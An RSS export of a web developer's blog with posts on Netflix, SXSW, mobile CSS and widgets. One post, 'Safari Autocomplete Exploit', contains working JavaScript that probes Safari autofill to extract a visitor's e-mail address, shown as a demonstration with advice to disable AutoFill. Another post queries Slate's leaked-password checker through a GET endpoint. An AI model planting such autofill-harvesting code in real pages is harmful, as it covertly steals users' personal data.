<p><object width="425" height="20" type="application/x-shockwave-flash" data="http://schedule.sxsw.com/mp3player.swf" id="mediaplayer" name="mediaplayer"><param name="bgcolor" value="#FFFFFF"><param name="flashvars" value="file=http://audio.sxsw.com/2011/podcasts/MistakesIMadeBuildingNetflix.mp3&amp;lightcolor=0xCC0066&amp;backcolor=0x000000&amp;frontcolor=0xFFFFFF&amp;repeat=false&amp;autostart=false&amp;shuffle=true&amp;linkfromdisplay=false&amp;autoscroll=false&amp;displayheight=0&amp;enablejs=true&amp;showdigits=false"></object></p>
<p>If this is broken, you should be able to get the MP3 straight from the <a href="http://audio.sxsw.com/2011/podcasts/MistakesIMadeBuildingNetflix.mp3">podcast page</a>.  Please let me know if it's blown, so I can try to figure out a permanent solution.</p>
<p><img src="http://farm2.static.flickr.com/1012/5177028349_1f1605eebe_d.jpg" /></p>
<p>Around 5:25--which is really hard to find using the SxSW interface, sorry about that--you'll hear me talking about the Blue Screen of Death we're showing people at Vurve; it is explained <a href="http://blog.vurve.com/2010/11/16/about-that-browser-not-supported-page/">in detail on the Vurve blog</a>, and I would love to see more of them out there.</p>

<h3>Important Notes</h3>

<ul>
  <li>No, I am not looking for work building iPhone apps.  However:</li>
  <li>Yes, I'd be happy to talk to you or your company--and maybe even deliver this presentation, if that turns out to be the right thing to do--about JavaScript widgets, opening APIs, the differences between prototyping and production, and building HTML-powered mobile applications.  For best results, please use my <a href="http://kentbrewster.com/contact">contact form</a>.  LinkedIn and Facebook are not great for me; I look at them maybe once every couple of weeks, and e-mail even less.</li>
  <li>I'm not sure how well it came across in the presentation, but I do <em>not</em> want to come off looking like I'm claiming credit for Netflix for iPhone.  Everybody at Netflix--down to the shipping guy and the HR department, which is legendary--build Netflix for the iPhone, and I was fortunate enough to be the person who got to put the frosting on the cake and light the candles.</li>
</ul>

<h3>Same Time Next Year?</h3>

<p>Oh, hell yes.  Going to try for Film; probably not going to try for Music, which looks like a complete zoo.</p>

 ]]></description>
	<feedburner:origLink>http://kentbrewster.com/sxsw-2011</feedburner:origLink></item>
	<item>
		<title>Gawker Damage Control</title>
		<link>http://feedproxy.google.com/~r/KentBrewster/~3/v4r1l0QcEM8/gawker-damage-control</link>
		<guid isPermaLink="false">http://kentbrewster.com/gawker-damage-control</guid>
		<comments>http://kentbrewster.com/gawker-damage-control</comments>
		<pubDate>Mon, 13 Dec 2010 08:54:00 PST</pubDate>
		<dc:creator>Kent Brewster</dc:creator>
		<description><![CDATA[ 
<p>While I was away in Brazil, crackers released a large blob of information containing much of <a href="http://thenextweb.com/media/2010/12/13/gawker-hackers-release-file-with-ftp-author-reader-usernamespasswords/">Gawker Media's user database</a>.</p>

<p>Gawker Media includes sites like Valleywag, Gizmodo, Lifehacker, and I09.  The user database contained logins (both straight-up user names and e-mail addresses) and encrypted passwords.  Sadly, the encryption was quite weak (unsalted DES) and 300,000 password were quickly broken.</p>

<p>Non-Gawker property Slate was kind enough to grab a copy of the data and <a href="http://www.slate.com/id/2277768/">put up a form on their page</a> so you can quickly check to see if your login was compromised.</p>

<p>While this undoubtedly falls under the heading of public service, I had to take a quick peek at Slate's page, just to see what they were up to.</p>

<p>The good news:  their form is quick and painless.  It's going to do a lot of people a lot of good.</p>

<p>The bad:  the page that hosts the form is absolutely crammed with crap.  Ads, iframes, third-party sharing devices, and other stuff, all of which runs in the root context of the password form.  And the form itself uses GET, and has zero protection against outside entities (like me) who might want to exploit it.</p>

<p>If you'd like to see if your Gawker password was compromised without feeding Slate a bunch of context about you, enter your login, which could be an e-mail address or simple string, here:</p>

<p><input id="u" value="bob@dobbs.com" /><button id="b">Go</button></p>

<iframe id="slate" width="600px" height="50px" src="null.html" style="display:none;" ></iframe>

<p>Please note that I am opening the results in an iframe, so I will never know what value you enter.  Slate does, of course, if they are paying attention to their endpoint, but none of their advertisers or third-party sharing devices--which are running JavaScript as root in the same page as the entry form on the original site--ever will.</p>

<h3>What Now?</h3>

<p>Assuming this is still working, you'll see one of three results:</p>

<code>r({"status":200,"compromised":0,"cracked":0});</code>

<p>This is the one you want.  It means your account was neither compromised nor cracked.  If you see this with every possible e-mail address or account name you may have used on any Gawker site (and they are legion, believe me!) you are fine for now, but should still read and implement the advice in Damage Control, below.</p>

<code>r({"status":200,"compromised":1,"cracked":0});</code>

<p>Your account name was released but your password was not cracked <em>in the initial release of the file</em>.  Chances are pretty good it's been cracked by now, and Slate doesn't know about it.</p>

<code>r({"status":200,"compromised":1,"cracked":1});</code>

<p>Your account name was released with its cracked password.  You're probably tweeting about acai berries right now.</p>

<h3>Damage Control</h3>

<p>Nothing you haven't already heard and ignored:  quit using the same password for all those social sites.  Go change everything, right now.  Get <a href="http://agilewebsolutions.com/onepassword">1password</a> and use it religiously.  Be very careful that the iPhone apps you're using don't send your password in plaintext.  Insist that the new social sites you're trying out use oAuth or something similar, and maybe even ask them to purge your account if you don't use it for, say, a 90-day stretch.</p>

<h3>Special Note to Slate:</h3>

<p>Um, guys?  This was nice of you, but it would have been much nicer on a page without a Facebook Connect script.  And while hackers like me around the world all appreciate an open endpoint to check on this sort of thing, are you absolutely sure you don't want to restrict this to POST requests?</p>

<h3>See Also</h3>

<p>The inimitable Jed Smith quickly created <a href="http://gawkercheck.com">gawkercheck</a>, which gives Slate nothing at all.</p>

<script>
var d = document;
var b = d.getElementById('b');
var u = d.getElementById('u');
var f = d.getElementById('slate');

b.onclick = function() {
  if (u.value) {
    f.style.display = '';
    f.src = 'http://labs.slate.com/apps/accounts/service.php?callback=r&email=' + u.value;
  }
}
</script>
 ]]></description>
	<feedburner:origLink>http://kentbrewster.com/gawker-damage-control</feedburner:origLink></item>
	<item>
		<title>On Leaving Netflix</title>
		<link>http://feedproxy.google.com/~r/KentBrewster/~3/XSIIfqgxLmI/leaving-netflix</link>
		<guid isPermaLink="false">http://kentbrewster.com/leaving-netflix</guid>
		<comments>http://kentbrewster.com/leaving-netflix</comments>
		<pubDate>Fri, 15 Oct 2010 17:25:00 PDT</pubDate>
		<dc:creator>Kent Brewster</dc:creator>
		<description><![CDATA[ 
<p>After many fine adventures at Netflix, I'm off to do the next thing.  While I was there, I made:</p>

<ul>
<li>a few mildly entertaining Hack Day projects, which will never see the light of day</li>
<li>the <a href="http://www.netflix.com/FacebookConnect">Facebook Connect</a> thingie, which lets you broadcast your Neflix ratings to your Facebook wall</li>
<li>the <a href="http://developer.netflix.com/walkthrough">Oauth Walk-Through</a> for developer.netflix.com</li>
<li>the new-and-improved <a href="http://developer.netflix.com/widgets">Netflix Widgets</a>, which may be seen on Hacking Netflix whenever they do a <a href="http://www.hackingnetflix.com/2010/10/netflix-new-releases-for-october-5th-2010.html">New Releases</a> post</li>
<li>the first proofs-of-concept for the "Trickplay" feature--those cool little thumbnails that stream by as you're fast-forwarding and reversing--using nothing but CSS, HTML, JavaScript, and the open APIs. (You can see this now in Canada and on the discless PS3 version.)</li>
<li>the front-end UI for <a href="http://www.flickr.com/photos/kentbrew/sets/72157624686914795/">Netflix for the iPhone</a> plus (ahem) several other mobile devices that may or may not ship in the future, all on the open Web and API stack.</li>
</ul>

<p>What I'm happiest about isn't a specific project, however.  During my time at Netflix I was an unrelenting pain in the ass to anyone who would listen to me saying "Dude! We should ditch that monstrous hunk of Java and just build everything as a Web app using our own open APIs!" It seems to have worked; iPhone shipped as a Web app, Canada shipped as a Web app, and the new discless PS3 product shipped as a Web app.  (And I never had to write a single line of steenkin' Java.)</p>
<p>I strongly recommend the Web-stack/use-your-own-APIs approach to anyone contemplating building a consumer Web service, and will be happy to consult or come speak on the topic, if requested.</p>

<h3>Anybody Want My Old Job?</h3>

<p>It (well, actually one just like it, which has been open for a while) is on the Netflix career board, under <a href="http://jobs.netflix.com/DetailFlix.asp?jobid=flix4228">Senior User Interface Engineer, Mobile Platforms</a>.  If you have the chops, Netflix is an awesome place to work: it's a universally-loved product built in spectacular surroundings by the smartest people in the business, and they pay you what you're worth and don't make you keep track of your time off.</p>

<h3>What's Next?</h3>

<p>I'll be up in San Francisco on November 4th at Mashery's <a href="http://apiconference.com/san-francisco/">Business of APIs</a> conference, talking about the pitfalls of building a product on your own APIs.  Look for me next spring at South By Southwest, where I will present <a href="http://panelpicker.sxsw.com/ideas/view/5519">Mistakes I Made Building Netflix for the iPhone</a>, which promises to be extra-awesome now that I don't have to worry about reactions from management. :)</p>

<p>In the meantime, I'm going to help out with <a href="http://vurve.com">Vurve</a>. Stay tuned!</p>

 ]]></description>
	<feedburner:origLink>http://kentbrewster.com/leaving-netflix</feedburner:origLink></item>
	<item>
		<title>Position:Fixed on Android 2.2 Devices</title>
		<link>http://feedproxy.google.com/~r/KentBrewster/~3/eaMHb6su_H0/android-scroller</link>
		<guid isPermaLink="false">http://kentbrewster.com/android-scroller</guid>
		<comments>http://kentbrewster.com/android-scroller</comments>
		<pubDate>Wed, 01 Sep 2010 22:49:00 PDT</pubDate>
		<dc:creator>Kent Brewster</dc:creator>
		<description><![CDATA[ 
<p>Finally got some <code>position:fixed</code> love from a decent mobile phone.  Now if only the iPhone would follow suit we could all quit screwing around with JavaScript and CSS transitions to fake those scrolling interactions.</p>
<p><a href="http://kentbrewster.com/android-scroller/scroller.html">Try it out in your device</a> (Android 2.2+) to see it working.</p>
<p>Here's the code; have fun, and please let me know (following <a href="http://twitter.com/kentbrew">@kentbrew</a> on Twitter works best) if it's busted.</p>
<pre class="codebox">
&lt;!doctype html>
&lt;html>
&lt;head>
  &lt;meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0, user-scalable=no" /> 
  &lt;title>Android Fixed-Position Scrolling Demo&lt;/title>
  &lt;style>
    body {
      -webkit-user-select:none;
      -webkit-touch-callout:none;
      -webkit-tap-highlight-color: rgba(0,0,0,0);
      font-family:helvetica neue;
      font-size:18px;
      margin:0;
      padding:0;
    }
    
    #hd, #ft {
      position:fixed;
      width:100%;
      text-align:center;
      font-weight:bold;
    }
    
    #hd { 
      top:0; 
      background:#050;
      line-height:44px;
      height:44px;
      color:#ff0;
      border-bottom:2px solid rgba(0, 0, 0, 0.2);
    }
    
    #ft {
      height:49px;
      bottom:0;
      line-height:48px;
      color:#fff;
      text-align:center;
      background:transparent url(UITabBarBkgd.png) 0 0 repeat-x;    
    }
    
    #bd {
      background:#fff;
      margin:44px 0 49px 0;
    }
    
    div, ul, li {
      margin:0;
      padding:0;
    }
    
    li {
      list-style:none;
      height:44px;
      line-height:44px;
      padding-left:10px;
      border-bottom:1px solid #eee;
    }
    
    li:nth-child(even) {
      background-color:#ffa;
    }
  &lt;/style>
&lt;/head>
&lt;body>
  &lt;div id="hd">Fixed Headers and Footers&lt;/div>
  &lt;div id="bd">
    &lt;ul>
      &lt;li>Look, Ma!&lt;/li>
      &lt;li>No JavaScript!&lt;/li>
      &lt;li>If you're&lt;/li>
      &lt;li>looking at this&lt;/li>
      &lt;li>with Froyo&lt;/li>
      &lt;li>you should&lt;/li>
      &lt;li>be seeing&lt;/li>
      &lt;li>a fixed header&lt;/li>
      &lt;li>a fixed footer&lt;/li>
      &lt;li>and a &lt;/li>
      &lt;li>lovely &lt;/li>
      &lt;li>scrolling&lt;/li>
      &lt;li>list!&lt;/li>
      &lt;li>Sigh....&lt;/li>
      &lt;li>if&lt;/li>
      &lt;li>only&lt;/li>
      &lt;li>this&lt;/li>
      &lt;li>worked&lt;/li>
      &lt;li>on an&lt;/li>
      &lt;li>iPhone,&lt;/li>
      &lt;li>life&lt;/li>
      &lt;li>would&lt;/li>
      &lt;li>be&lt;/li>
      &lt;li>pretty&lt;/li>
      &lt;li>much&lt;/li>
      &lt;li>complete.&lt;/li>
    &lt;/ul>
  &lt;/div>
  &lt;div id="ft">... and Scrolling Body&lt;/div>
&lt;/body>
&lt;/html>
</pre>
 ]]></description>
	<feedburner:origLink>http://kentbrewster.com/android-scroller</feedburner:origLink></item>
	<item>
		<title>Safari Autocomplete Exploit</title>
		<link>http://feedproxy.google.com/~r/KentBrewster/~3/JfkdScnCMM4/safari-autocomplete-exploit</link>
		<guid isPermaLink="false">http://kentbrewster.com/safari-autocomplete-exploit</guid>
		<comments>http://kentbrewster.com/safari-autocomplete-exploit</comments>
		<pubDate>Wed, 21 Jul 2010 15:04:00 PDT</pubDate>
		<dc:creator>Kent Brewster</dc:creator>
		<description><![CDATA[ 
<p>This exploits <a href="http://www.theregister.co.uk/2010/07/20/browser_info_disclosure_weaknesses/">a Safari bug</a> to be presented next week at <a href="http://blackhat.com">Black Hat</a> by the inimitable <a href="http://twitter.com/jeremiahg">Jeremiah Grossman</a>.  As far as I can tell it won't work in other browsers, including Chrome.</p>
<form method="post" target="_self">
E-Mail: <input id="email" name="email" size="50" />
</form>
<p>Here we're using some really crummy JavaScript--view source if you're curious--to focus on the input box named <code>email</code>, programmatically run through all 26 letters of the alphabet, and waiting a second between each to see if autocomplete has helped us out.</p>
<p>If it has, we'll pause and show what we find.  Insert scary scenario here; we could do this invisibly and do what we like with what we get.</p>
<p>If we get to Z and nothing happens, you haven't filled out a form requesting your e-mail address with an input named <code>email</code>.  Enter a bogus address such as <code>foo@bar.com</code> and hit Enter to reload the page.</p>
<p>A variant of this attack works on IE6 and IE7 by hitting the down-arrow twice and then Enter; it's much faster (and scarier) than this.</p>
<p>If you have not done so already, in Safari:Preferences:AutoFill, turn everything off.</p>

<script>

var f = function(k, input) {
	input.value = '';
	input.focus();
	var eventObject = document.createEvent('TextEvent');
	eventObject.initTextEvent('textInput',true,true,null,k);
	input.dispatchEvent(eventObject);
   setTimeout(function() {
   	if (input.value.length > 1) {
        alert('Your e-mail might be: ' + input.value);
         clearInterval(i);
         input.blur();
		}	
   }, 1000);
}

var c = 'abcdefghijklmnopqrstuvwxyz';

var t = 0;


var z = function() {
	if (c[t]) {
		f(c[t], document.getElementById('email'));
	} else {
       document.getElementById('email').value = '';
       clearInterval(i);
	}
	t++;
}


var i = setInterval(z, 1100);


</script>
 ]]></description>
	<feedburner:origLink>http://kentbrewster.com/safari-autocomplete-exploit</feedburner:origLink></item>
	<item>
		<title>Hacking Flickr's HTML5 Video</title>
		<link>http://feedproxy.google.com/~r/KentBrewster/~3/JsBmgkUNrog/hacking-flickr-html5-video</link>
		<guid isPermaLink="false">http://kentbrewster.com/hacking-flickr-html5-video</guid>
		<comments>http://kentbrewster.com/hacking-flickr-html5-video</comments>
		<pubDate>Thu, 01 Apr 2010 11:13:00 PDT</pubDate>
		<dc:creator>Kent Brewster</dc:creator>
		<description><![CDATA[ ';
   $title = 'Hacking Flickr\'s HTML5 Video';
   $section = 'research';
   include_once('/home/kentbrew/public_html/inc/header.inc');
?>
<style>
div.vid { width:500px; }
div.vid p {
   margin:10px 0 20px 0; 
   padding-bottom:10px; 
   border-bottom:2px dotted #eee; 
   text-align:right;
}
</style>
<p>Hey, neat!  Flickr's launching <a href="http://blog.flickr.net/en/2010/04/01/viewing-flickr-videos-on-the-ipad/">HTML5 video for the iPad</a>.  Gorgeous, but ... what about the rest of the Web?  Are we stuck with Flash?  No.</p>
<p>To find these I used Firefox with the <a href="https://addons.mozilla.org/en-US/firefox/addon/59">User Agent Switcher</a> set to the <a href="http://www.labnol.org/tech/ipad-user-agent-string/13230/">iPad user agent string</a>.  I then used Firebug to inspect the video element, copied the whole <code>&lt;video&gt;</code> tag from each, and pasted them in here with zero further exertion of brainpower.</p>
<p>You'll need a Webkit-based browser to play these videos; see Caveats and Gotchas below for notes.</p>

<div class="vid">

<video width="500" height="281" controls="" autobuffer="" preload="" poster="http://farm4.static.flickr.com/3629/3370019207_0771d7e972.jpg" src="http://c-3370019207.a-flickr.i-d04b4d41.http.atlas.cdn.yimg.com/legacy/00ba61149c3c5f9000083c5e7bce785efa410f14c00079614ea91787e94c0a24?dt=flickr&amp;m=video%2Fmp4&amp;d=cp_d%3Dwww.flickr.com%26cp_t%3Ds%26cp%3D792600246%26mid%3D3370019207%26ufn%3D3370019207_iphone_wifi.mp4&amp;s=d487192cf9511765bf7cf67f05099d09" tabindex="0"></video>
<p>My last hack for <a href="http://www.flickr.com/photos/kentbrew/3370019207/">Yahoo!</a>   Has it really been a year?</p>

<video width="500" height="375" controls="" autobuffer="" preload="" poster="http://farm2.static.flickr.com/1383/2348434836_aee8f19612.jpg" src="http://c-2348434836.a-flickr.i-d04b4d41.http.atlas.cdn.yimg.com/legacy/00ba61149e0c5d900001f52965d693a1c6add1e2e0002c0e2f67b232a6bccad9?dt=flickr&amp;m=video%2Fmp4&amp;d=cp_d%3Dwww.flickr.com%26cp_t%3Ds%26cp%3D792600246%26mid%3D2348434836%26ufn%3D2348434836_iphone_wifi.mp4&amp;s=b0e3be269066ae2fc17f9c378e5925f3" tabindex="0"></video>
<p>Mroth's video of <a href="http://www.flickr.com/photos/mroth/2348434836/">Beck</a> at that first awesome Yahoo! open hack day.</p>

</div>
<h3>Caveats and Gotchas</h3>
<ul>
<li>Funky stuff happens to the controls when I try to put more than a couple of videos on one page.  If you're not seeing controls for one or both of the videos, please reload the page.</li>
<li>Since Flickr seems to be supporting .mp4 only, these won't work on Firefox.</li>
<li>Safari looks best; I'm seeing noticeably crappier results in Chrome.</li>
<li>IE users are of course also out of luck; no HTML5 for you, come back one year....</li>
</ul>
<p>Pretty awesome to see Flickr taking that first step away from Flash.  Hope to see some Ogg soon, so Firefox users can play too!</p>
 ]]></description>
	<feedburner:origLink>http://kentbrewster.com/hacking-flickr-html5-video</feedburner:origLink></item>
	<item>
		<title>SxSW Panel Widget</title>
		<link>http://feedproxy.google.com/~r/KentBrewster/~3/SJsNUZmQHOE/sxsw-api</link>
		<guid isPermaLink="false">http://kentbrewster.com/sxsw-api</guid>
		<comments>http://kentbrewster.com/sxsw-api</comments>
		<pubDate>Mon, 15 Mar 2010 17:25:00 PDT</pubDate>
		<dc:creator>Kent Brewster</dc:creator>
		<description><![CDATA[ 
<p>Here's the South By Southwest schedule widget I just showed for Revenge of Kick-Ass Mash-Ups with Punk Rock APIs.  (Yes, this means I totally volunteer to build this for SxSW for real next year.)</p>
<p>I had a blast doing this; slides will be up on Slideshare as soon as I can possibly make it happen.  Thank you, everyone who attended, and thank you Firefox for not crashing or slowing down under the weight of many, many tabs.</p>
<div style="height:550px;"><script src="http://kentbrewster.com/sxsw-api/sxsw.js"></script></div>
<p>The HTML:</p>
<script src="http://gist.github.com/332014.js?file=index.html"></script>
<p>The JavaScript:</p>
<script src="http://gist.github.com/332014.js?file=sxsw.js"></script>
<?php
   include_once('/home/kentbrew/public_html/inc/footer.inc');
?> ]]></description>
	<feedburner:origLink>http://kentbrewster.com/sxsw-api</feedburner:origLink></item>
	<item>
		<title>Missing Kids CAPTCHA: a Hack for Good</title>
		<link>http://feedproxy.google.com/~r/KentBrewster/~3/eKZfY6pkFjU/captcha-for-good</link>
		<guid isPermaLink="false">http://kentbrewster.com/captcha-for-good</guid>
		<comments>http://kentbrewster.com/captcha-for-good</comments>
		<pubDate>Thu, 25 Feb 2010 16:43:00 PST</pubDate>
		<dc:creator>Kent Brewster</dc:creator>
		<description><![CDATA[ 
<p>Here's the hack that won me the very first Yahoo! Hack for Good award, way back in 2007.  Sadly, this did not ship while I was a Yahoo employee; I am seeing encouraging signs that Phillip Tellis <a href="http://tech.bluesmoon.info/2010/02/missing-kids-on-your-404-page.html">is working on it</a>, so I now feel free to post this in public.</p>
<p>The <a href="http://missingkids.com">National Center for Missing and Exploited Children</a> is one member of a network of Web sites that feed into a central multilingual database with information and photographs of missing children. Network participants customize their country's website to meet their individual needs. This enables each country to quickly and easily create posters of missing children from their country in their native language.</p>
<p>This hack uses English data from missingkids.com to create a CAPTCHA, which stands for Completely Automated Public Turing (test to tell) Computers and Humans Apart.</p>
<p>Among other things, users desiring a new Yahoo! login need to pass a CAPTCHA, so we serve up a ton of these things every day.  By partnering with missingkids.com, we could greatly increase public awareness, and (hopefully) get a few kids back to their families.</p>
<p>Here's a working prototype.  (Emphasis on "prototype" ... if the image doesn't show up, please reload the page.)</p>
<?php if ($pass) { ?>
<h3>Success!  You passed the CAPTCHA!</h3>
<p><a href="http://kentbrewster.com/captcha-for-good">Try another?</a></p>
<?php } else { ?>
<a href="http://missingkids.com/" target="_blank" title="Have you seen me? Please contact missingkids.com!"><img id="c" src="<?php echo $image_url; ?>" alt="" name="captcha" id="captcha" /></a><br />
<form id="form1" name="form1" method="post" action="">
<p>Please enter this missing child's name and the security code to continue.</p>
<table>
<tr><td align="right"><label for="code">Code:&nbsp;&nbsp;</label></td><td><input name="code" tabindex="1" type="text" /></td><td rowspan="2" valign="center">&nbsp;<input tabindex="3" type="submit" value="Go" /></td></tr>
<tr><td align="right"><label for="name">Name:&nbsp;&nbsp;</label></td><td><input name="name" tabindex="2" type="text" /></td></tr>
</table>
</form>
<?php } ?>
<?php
include_once('/home/kentbrew/public_html/inc/footer.inc');
?> ]]></description>
	<feedburner:origLink>http://kentbrewster.com/captcha-for-good</feedburner:origLink></item>
	<item>
		<title>Inside Netflix Widgets</title>
		<link>http://feedproxy.google.com/~r/KentBrewster/~3/r6hqX8iu4yw/inside-netflix-widgets</link>
		<guid isPermaLink="false">http://kentbrewster.com/inside-netflix-widgets</guid>
		<comments>http://kentbrewster.com/inside-netflix-widgets</comments>
		<pubDate>Fri, 08 Jan 2010 14:02:00 PST</pubDate>
		<dc:creator>Kent Brewster</dc:creator>
		<description><![CDATA[ 
<style>
.floater { float:left;margin-right:10px; }
.container:after {clear:both; content:"."; display:block; height:0; visibility:hidden; }
</style>
<p>On 14 December 2009, Netflix quietly launched a pair of new widget builders, at <code><a href="http://developer.netflix.com/widgets">http://developer.netflix.com/widgets</a></code>.</p>
<p>Both builders create single-line JavaScript widgets that inject a big chunk of the Netflix experience onto outside pages with very little effort on the part of the site operator.  Here are a couple of example implementations and a tiny peek at how they work.</p>
<h3>The Bubble</h3>
<p>If you blog lots of movies and/or don't want to give up sidebar space for a static widget, the Bubble Widget is your friend.  Here's a sample passage from our friends at <a href="http://www.hackingnetflix.com/2010/01/netflix-new-releases-for-january-5th-2010.html">Hacking Netflix</a>:</p>
<blockquote>
<p>Netflix New Releases for January 5th, 2010</p>
<p>Interesting titles include&nbsp;<a href="http://movi.es/BVmAB">Cloudy with a Chance of Meatballs</a>,&nbsp;<a href="http://movi.es/BVmAA">The Final Destination</a>,&nbsp;<a href="http://movi.es/BVkdQ">50 Dead Men Walking</a>,&nbsp;<a href="http://movi.es/ca2U7">Big Love</a>&nbsp;(Season 3),&nbsp;<a href="http://movi.es/ca3lm">Chuck</a>&nbsp;(Season 2),&nbsp;<a href="http://movi.es/VoYAt">The Philanthropist: The Complete Series</a>,&nbsp;<a href="http://movi.es/BVmYE">The Good Witch</a>,&nbsp;<a href="http://movi.es/BVnwr">Trucker</a>, and&nbsp;<a href="http://movi.es/BVm1N">Adam</a>.</p>
<p>Streaming releases this week include <a href="http://movi.es/ApMTP">Monsters, Inc.</a>, <a href="http://movi.es/ApRzG">Rocky V</a>, <a href="http://movi.es/8HUT">Sling Blade</a>, <a href="http://movi.es/74p6">The Last Picture Show</a>, and <a href="http://movi.es/BVm1b">World's Greatest Dad</a> (more on <a href="http://www.streamingsoon.com/">StreamingSoon</a>).</p>
</blockquote>
<p>The Bubble Widget is a single <code>SCRIPT</code> tag, which should be included at the very bottom of your page like this:</p>
<pre>&lt;script src="http://jsapi.netflix.com/us/api/w/b/bu100.js">&lt;/script></pre>
<p>To see it in action, mouse over any of the linked titles above.</p>
<h3>The Spotlight</h3>
<p>Spotlight widgets come in many flavors and sizes.  To make your own, visit the <a href="http://developer.netflix.com/widgets/spotlight">Spotlight Widget Builder</a>, fill out the form, and collect your inline JavaScript.</p>
<div class="container">
<div class="floater"><a href="http://movi.es/BVdT5" title="The Dark Knight on Netflix">The Dark Knight on Netflix</a> <script src="http://jsapi.netflix.com/us/api/w/s/sp100.js" settings="id=http://movi.es/BVdT5&w=132&h=tfn"></script></div>
<div class="floater"><a href="http://movi.es/ApMTP" title="Monsters, Inc on Netflix">Monsters, Inc on Netflix</a> <script src="http://jsapi.netflix.com/us/api/w/s/sp100.js" settings="id=http://movi.es/ApMTP&f=w"></script></div>
</div>
<p>The code for the first widget above looks like this:</p>
<pre>&lt;a href="http://movi.es/BVdT5" title="The Dark Knight on Netflix">The Dark Knight on Netflix&lt;/a>
&lt;script src="http://jsapi.netflix.com/us/api/w/s/sp100.js"
settings="id=http://movi.es/BVdT5&w=132&h=tfn">&lt;/script></pre>
<p>Paste this into any Web page where you want the widget to show up, and you're done.</p>
<h3>Things to Do and Notice</h3>
<ul>
<li>Both widgets depend on Netflix's new tiny-URLs-for-movies domain, <code>http://movi.es</code>.</li>
<li>The Spotlight widget will hide links to <code>movi.es</code> if it renders correctly.  If it doesn't come up, the link will still be there, which is critical for RSS readers and other no-JavaScript clients.</li>
<li>If you visit <code>http://movi.es/BVdT5</code>, you'll be redirected to The Dark Knight's Netflix page.</li>
<li>All widgets were expressly designed to keep your readers on your page, instead of sending them back to Netflix.  Add and Play buttons launch iframes or new windows; Preview buttons bring up a black-glass pane.</li>
<li>If you choose to include the Free Trial link, you can earn hefty referral bonuses for new sign-ups.  Netflix is currently changing affiliate vendors; look for a greatly streamlined sign-up process in the near future.</li>
</ul>
<h3>Acknowledgements</h3>
<p>Although I was personally thrilled to play the role of the front-end developer on this project--much of it depends on the techniques detailed in <a href="http://kentbrewster.com/case-hardened-javascript">Case-Hardened JavaScript</a>, which is in desperate need of attention--the heavy lifting was done on the back end by the designers, managers, and engineers on the Netflix Developer Network team.  They are:  Anu Sonvane, Hans Granqvist, John Haren, JR Conlin, Lalitha Shankar, Michael Hart, Mikey Cohen, Navin Prasad, and Priya Poolavari.</p>
<p>Special thanks to:  Adam Platti, Andy Baio, Ava Hristova, Barney Mok, Bill Scott, Chad Dickerson, Chanel Wheeler, Christian Heileman, Dan Theurer, Dave Balmer, Douglas Crockford, Dustin Diaz, Ed Ho, Eric Miraglia, Gina Groom, Hedger Wang, Heidi Pollack, Isaac Schleuter, Jason Levitt, Jeremy Gillick, Jeremy Zawodny, Jimmy Byrum, Jonathan Trevor, Kim Trott, Leonard Lin, Matt McAlister, Matt McCarthy, Matt Sweeney, Micah Laaker, Mike Davidson, Mike Lee, Nate Koechley, Pasha Sadri, Paul Bakaus, Peter Michaux, Rasmus Lerdorf, Scott Schiller, Steve Carlson, Taylor McKnight, Thomas Sha, and Vickie Brewster.</p>
<h3>Next Up: "Hacking Netflix Widgets"</h3>
<p>There's a lot more lurking backstage; after a few more internal issues settle out, I hope to be able to present a much more in-depth look at how Netflix widgets work, and what else you can do with the technology behind them them.</p>
<p>Full documentation for Netflix API Version Two is on the way; stay tuned to <code><a href="http://developer.netflix.com">http://developer.netflix.com</a></code> for further information.</p>
<script src="http://jsapi.netflix.com/us/api/w/b/bu100.js"></script>
 ]]></description>
	<feedburner:origLink>http://kentbrewster.com/inside-netflix-widgets</feedburner:origLink></item>
	<item>
		<title>Backchannel: a Tiny Offline iPhone Web App</title>
		<link>http://feedproxy.google.com/~r/KentBrewster/~3/5K_oZDyObvY/backchannel</link>
		<guid isPermaLink="false">http://kentbrewster.com/backchannel</guid>
		<comments>http://kentbrewster.com/backchannel</comments>
		<pubDate>Thu, 10 Dec 2009 15:39:00 PST</pubDate>
		<dc:creator>Kent Brewster</dc:creator>
		<description><![CDATA[ 
<p>In the past I've build some Web-based applications--<a href="http://kentbrewster.com/iclipper">iClipper</a> and <a href="http://kentbrewster.com/iclock">iClock</a>, among others--that were meant to hack around the problem of storing applications on your (non-jailbroken) iPhone or iPod Touch.  I did this through a completely unusable combination of bookmark-editing and base64-encoding that no sane user would ever actually endure.  Recent releases of Mobile Safari have made creating, deploying, and updating offline-capable Web apps for the iPhone much easier.</p>
<h3>Backchannel: Possibly the Smallest Useful Offline Application That Isn't a Flashlight</h3>
<p>Backchannel is a re-implementation of <a href="http://twitter.com/jerrymichlski">@jerrymichalski</a>'s <a href="http://www.reallysimplechat.org/article4-Red-Green-cards">Red:Green Cards</a>.  It's intended for use during seminars and other meetings where the audience needs to communicate a limited set of one-way messages to the speaker.  While running Backchannel, your phone's screen will turn red while vertical and green while horizontal.  This could be used for feedback (faster/slower, go/stop) or voting (yes/no).  There's no technical reason why the colors couldn't be different, or programmable, or a third color added to the plus-ninety-degrees orientation.</p>
<p>While I've seen several red:green versions, they suffer from a) having to be downloaded from the App Store or b) having to be downloaded live from a Web site, which may or may not be responding from your chair at <a href="http://sxsw.com">SxSW</a>.</p>
<p>Enter the offline version.  To try it out, fire up your iPhone and go here:</p>
<p><code><a href="http://kentbrewster.com/backchannel/bc.html">http://kentbrewster.com/backchannel/bc.html</a></code></p>
<p>Once you're done flipping your device up and down to see the color change, try saving a local copy. To do this, touch the <strong>+</strong> button at the bottom of your browser and choose Add to Home Screen.  The Add to Home panel should come up, with Backchannel's red-and-green icon and title.  Touch Add and you should see it on your home screen.</p>
<p>To see if local storage worked, go to Settings, put your device into Airplane Mode, turn off your Wi-Fi connection, exit Settings, and try Backchannel again.  If all is good, Backchannel should behave exactly the same as it did before, with the important difference that all browser chrome should be completely gone, leaving only the very top ten-pixel-thick connection/battery status bar.</p>
<p>Important Note from the Voice of Experience: if you forget to turn your network back on when you're done testing, you will be unable to tell that you have not broken your iPhone.  If you take it back to the Genius Bar and ask for help, they will point at you and laugh.</p>
<h3>How to Make This App</h3>
<p>Besides the one that tells how everything works (which you are reading now) there are five files in this directory:</p>
<ul>
<li><code>bc.html</code> -- the HTML structure</li>
<li><code>presentation.css</code> -- the CSS</li>
<li><code>behavior.js</code> -- the JavaScript</li>
<li><code>icon.png</code> -- the icon used to represent the application on the iPhone desktop</li>
<li><code>main.manifest</code> -- the list of files to be stored locally</li>
</ul>
